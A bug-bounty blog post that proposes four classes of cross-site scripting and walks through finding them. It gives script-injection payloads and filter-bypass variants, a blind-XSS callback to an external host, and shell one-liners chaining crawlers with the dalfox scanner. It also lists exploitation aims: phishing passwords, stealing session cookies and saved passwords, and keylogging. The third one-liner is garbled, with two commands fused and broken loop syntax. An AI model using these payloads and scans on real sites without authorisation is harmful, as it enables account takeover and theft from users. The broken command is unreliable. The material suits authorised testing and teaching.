Application Security

A new way to classify and think about XSS (+ One-liner Automation for Bug Bounty + Tools)

Mindset matters

fuffsec

11 Sep 2023 • 5 min read

Mastering XSS: New Classifications, One-Liner Hacks, and Essential Tools for Bug Bounty Hunters

Hello Smart hackers, Welcome back to my new blog, I hope you all are well!!!
In this blog, we are going to discuss How to think about XSS and exploit them without a lot of effort.
Please, read this article until the end.

Before start writing the blog, I have such a small request for all of you, I always write articles on many. So if you didn’t follow, then follow me first and clap on this article, because that gives me the motivation to write something new !!

If you didn’t follow me on my social, here is my Twitter and LinkedIn.

☛ My-Twitter
☛ My-Linkedin

Thank you !!!
Let’s Start !!!

Introduction

What is XSS?

Cross-site scripting (XSS) is a type of security vulnerability in web applications. Here’s a simple explanation using some tech words:

Imagine a website that allows users to post comments. If this website doesn’t properly check and sanitize the content of these comments, a malicious user could post a comment containing JavaScript code. When other users view this comment, the JavaScript code will run in their browsers. This means the attacker can potentially steal information, manipulate the webpage, or perform actions on behalf of the victim without their knowledge.

In essence, XSS allows attackers to inject malicious scripts into web pages viewed by other users. This can compromise the security and privacy of those users.

We always used to think that XSS is of 3 types: Self XSS, Stored XSS, and Dom-XSS. But, I want to change the perspective into thinking we have 4 classes now.

What are they:

Server-side Reflected XSS
Client-side Reflected XSS
Server-side Stored XSS
Client-side Stored XSS

Types

1. Server-side Reflected XSS

Server-side Reflected XSS exploits user trust by injecting malicious scripts via GET parameters. In essence, an attacker sends a link with the payload to a user. Since the domain is familiar, the user clicks, and the malicious script runs. While POST parameters can also be vulnerable, exploiting them is trickier. Instead of a simple link, you’d need a deceptive site with an auto-submitting form. Hence, our focus is on GET-based vulnerabilities when targeting.

2. Client-side Reflected XSS

Client-side Reflected XSS differs from server-side XSS in its discovery and payload delivery. Instead of spotting it through request-response patterns, you need a browser to fully render the page. To find client-side XSS, inspect the client’s JavaScript code. Here, the JS does the job of changing the rendered HTML and adds the malicious content.

3. Server-side Stored XSS

Stored XSS doesn’t need a custom link like reflected XSS. Anyone visiting the affected page triggers the payload, freeing us from GET request constraints. The malicious HTML is served by the server directly.

4. Client-side Stored XSS

Client-side Stored XSS is a type of Cross-Site Scripting (XSS) where the malicious script injected by the attacker is permanently stored on the target server. When a user visits the affected page or application, the malicious content is fetched and added to the DOM by the JS and then rendered to execute the script.

How to Find it with Manual Testing:

1. Identify Input Points:

Look for places where the application accepts user input. This could be search boxes, comment sections, URL parameters, form inputs, etc.

2. Test with Basic Payloads:

Start with simple payloads like <script>alert(1)</script> or "><script>alert(1)</script>. If an alert box pops up, it's a clear sign of a vulnerability.

3. Check for Reflection:

If you input a random string, does it appear elsewhere on the page? If so, that’s a potential point for reflected XSS.

4. Check for Stored XSS:

Input a payload and navigate to other parts of the application or come back later to see if the payload gets executed. This would indicate a stored XSS.

5. Bypass Filters:

If the application filters out certain characters or tags, try to bypass them. For example, if <script> is blocked, try variations like <scr<script>ipt>, <sCrIpT>, or use an encoding.

6. Use Tools:

Tools like dalfox, XSStrike, and XSSer can help automate the process of finding XSS vulnerabilities. Remember to only use these tools on platforms or applications where you have permission to do so.

7. Check for DOM-based XSS:

In this case, the payload is executed as a result of modifying the DOM. Check JavaScript functions and event handlers. Tools like Burp Suite’s DOM Invader can help identify these.

8. Blind XSS:

Sometimes, the payload might get executed elsewhere, not immediately visible to you. In such cases, use a blind XSS payload that calls back to an external domain you control. Platforms like XSS Hunter can be useful for this.

9. Check HTTP Headers:

Sometimes, user input can end up in HTTP headers, leading to potential header-based XSS.

What to do after Finding (We Exploit)

Phishing Users (Make them send the password to you instead of the actual legit website)
Steal Session Cookies or Local secrets or saved passwords (Auto-complete)
Keylogging

One-liners for finding XSS

gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee OUT.txt

waybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee FILE.txt && cat FILE.txt | dalfox -b YOURS.xss.ht pipe > OUT.txt

cat HOSTS.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")"waybackurls HOST | grep '=' | qsreplace '"><script>alert(1)</script>' | while read host do ; do curl -sk --path-as-is "$host" | grep -qs "<script>alert(1)</script>" && echo "$host is vulnerable"; done

This command sequence uses gospider to crawl a list of URLs, filter potential injection points, replace query string values with payloads, and scan for XSS vulnerabilities using dalfox, and saves the results in OUT.txt.
This command sequence fetches the historical URLs of a host, filters potential XSS points, and then scans them using dalfox for vulnerabilities, saving the results in OUT.txt.
This command sequence reads a list of hosts, fetches all associated JavaScript files, and then filters those files to identify ones that contain event listeners for the “message” event.